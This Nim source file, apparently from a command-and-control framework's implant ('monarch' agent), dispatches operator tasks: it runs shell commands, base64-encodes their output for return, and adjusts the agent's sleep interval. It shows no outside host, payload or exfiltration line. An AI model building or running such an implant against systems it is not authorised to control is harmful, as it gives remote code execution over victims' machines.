Files
conquest/agents/monarch/task.nim

49 lines
1.1 KiB
Nim
Raw Normal View History

import base64, strutils
import ./types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): Task =
# Handle task command
case task.command:
of ExecuteShell:
let (output, status) = taskShell(task.args)
echo output
return Task(
id: task.id,
agent: task.agent,
command: task.command,
args: task.args,
result: encode(output), # Base64 encode result
status: status
)
of Sleep:
# Parse arguments
let delay: int = parseInt(task.args[0])
# Execute task
let (output, status) = taskSleep(delay)
# Update sleep delay in agent config
if status == Completed:
config.sleep = delay
# Return result
return Task(
id: task.id,
agent: task.agent,
command: task.command,
args: task.args,
result: encode(output),
status: status
)
else:
echo "Not implemented"
return nil
return task